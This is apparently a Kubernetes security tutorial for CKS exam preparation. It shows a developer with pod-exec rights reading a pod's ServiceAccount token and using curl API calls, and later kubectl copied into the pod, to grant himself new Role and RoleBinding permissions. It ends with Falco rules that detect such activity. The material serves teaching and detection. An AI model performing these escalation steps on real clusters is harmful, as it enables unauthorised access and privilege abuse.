CKS preparation - abusing ServiceAccount to grant privileges
In this article I will show how Kubernetes ServiceAccount can used to gain privileges. Of course, all this information should be only used for preparation to CKS exam.
Let’s say that we have a developer John, who has limited privileged in
namespace frontend
:
$ kubectl -n frontend auth can-i list pods --as john
no
$ kubectl -n frontend auth can-i create pods --as john
no
$ kubectl -n frontend auth can-i create role --as john
no
But for debugging purposes, he was granted with “pod/exec” role. In frontend
namespace there is a service
Pod, running under service-sa
ServiceAccount,
which has permissions to create, modify or delete roles:
apiVersion: v1
kind: ServiceAccount
metadata:
name: service-sa
namespace: frontend
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: service-role
namespace: frontend
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["*"]
verbs: ["create","update","delete"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: service-binding
namespace: frontend
subjects:
- kind: ServiceAccount
name: service-sa
roleRef:
kind: Role
name: service-role
apiGroup: rbac.authorization.k8s.io
Now, let’s imagine that John wants to get more permissions. To do that, he has logged into this pod. To interact with kube-api John has to install curl(I am using alpine in the example):
apk add curl
Next step will be to find serviceAccount’s token and kube-api endpoint:
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export ENDPOINT=$KUBERNETES_SERVICE_HOST
export NAMESPACE=frontend
Knowing that, he ca create a new role via API request:
# Create ROLE in namespace
curl -k https://$ENDPOINT/apis/rbac.authorization.k8s.io/v1/namespaces/frontend/roles \
-H "Authorization: Bearer $TOKEN" \
-X POST --header 'content-type: application/json' \
--data '
{
"apiVersion": "rbac.authorization.k8s.io/v1",
"kind": "Role",
"metadata": {
"name": "infra-role",
"namespace": "frontend"
},
"rules": [
{
"apiGroups": [
"rbac.authorization.k8s.io"
],
"resources": [
"*"
],
"verbs": [
"create",
"update",
"delete"
]
}
]
}'
and assign that role to his entity(API request):
# Create ROLEBINDING in namespace
curl -k https://$ENDPOINT/apis/rbac.authorization.k8s.io/v1/namespaces/frontend/rolebindings \
-H "Authorization: Bearer $TOKEN" \
-X POST --header 'content-type: application/json' \
--data '
{
"apiVersion": "rbac.authorization.k8s.io/v1",
"kind": "RoleBinding",
"metadata": {
"name": "infra-binding",
"namespace": "frontend"
},
"roleRef": {
"apiGroup": "rbac.authorization.k8s.io",
"kind": "Role",
"name": "infra-role"
},
"subjects": [
{
"apiGroup": "rbac.authorization.k8s.io",
"kind": "User",
"name": "john"
}
]
}'
Since service account has permissions to create new roles and RoleBindings, new permissions were granted to John:
$ kubectl -n frontend auth can-i create role --as john
yes
As a Cluster Administrator, it’s not easy to find such activities. Falco is a great tool that can monitor your cluster and report on all user actions.
It comes with a default set of rules, which would generate alerts on John’s actions:
- rule: Attach/Exec Pod
desc: >
Detect any attempt to attach/exec to a pod
condition: kevt_started and pod_subresource and kcreate and ka.target.subresource in (exec,attach) and not user_known_exec_pod_activities
output: Attach/Exec to pod (user=%ka.user.name pod=%ka.target.name ns=%ka.target.namespace action=%ka.target.subresource command=%ka.uri.param[command])
priority: NOTICE
source: k8s_audit
tags: [k8s]
- rule: K8s Role/Clusterrole Created
desc: Detect any attempt to create a cluster role/role
condition: (kactivity and kcreate and (clusterrole or role) and response_successful)
output: K8s Cluster Role Created (user=%ka.user.name role=%ka.target.name rules=%ka.req.role.rules resp=%ka.response.code decision=%ka.auth.decision reason=%ka.auth.reason)
priority: INFO
source: k8s_audit
tags: [k8s]
- rule: K8s Role/Clusterrolebinding Created
desc: Detect any attempt to create a clusterrolebinding
condition: (kactivity and kcreate and clusterrolebinding and response_successful)
output: K8s Cluster Role Binding Created (user=%ka.user.name binding=%ka.target.name subjects=%ka.req.binding.subjects role=%ka.req.binding.role resp=%ka.response.code decision=%ka.auth.decision reason=%ka.auth.reason)
priority: INFO
source: k8s_audit
tags: [k8s]
Update
My colleague provide me with an even simpler way to do this - using kubectl inside the cluster:
John could copy kubectl to the Pod:
$ kubectl cp $(which kubectl) pod-with-service-account:/ -n frontend
Once it’s there, it’s possible to use it to do all kind of manipulations with kubernetes entities:
# /kubectl --namespace=frontend create role podview --verb=get --verb=list --resource=pods
role.rbac.authorization.k8s.io/podview created
If kubectl
can’t find $KUBECONFIG, it will use in-cluster configuration to work
with kube-api:
# /kubectl cluster-info -v=10
I0203 11:55:51.542573 193 merged_client_builder.go:121] Using in-cluster configuration
I0203 11:55:51.543028 193 merged_client_builder.go:121] Using in-cluster configuration
According to documentation to client-go(and kubectl is using client-go):
client-go uses the Service Account token mounted inside the Pod at the
/var/run/secrets/kubernetes.io/serviceaccount path when the
rest.InClusterConfig() is used.
Comments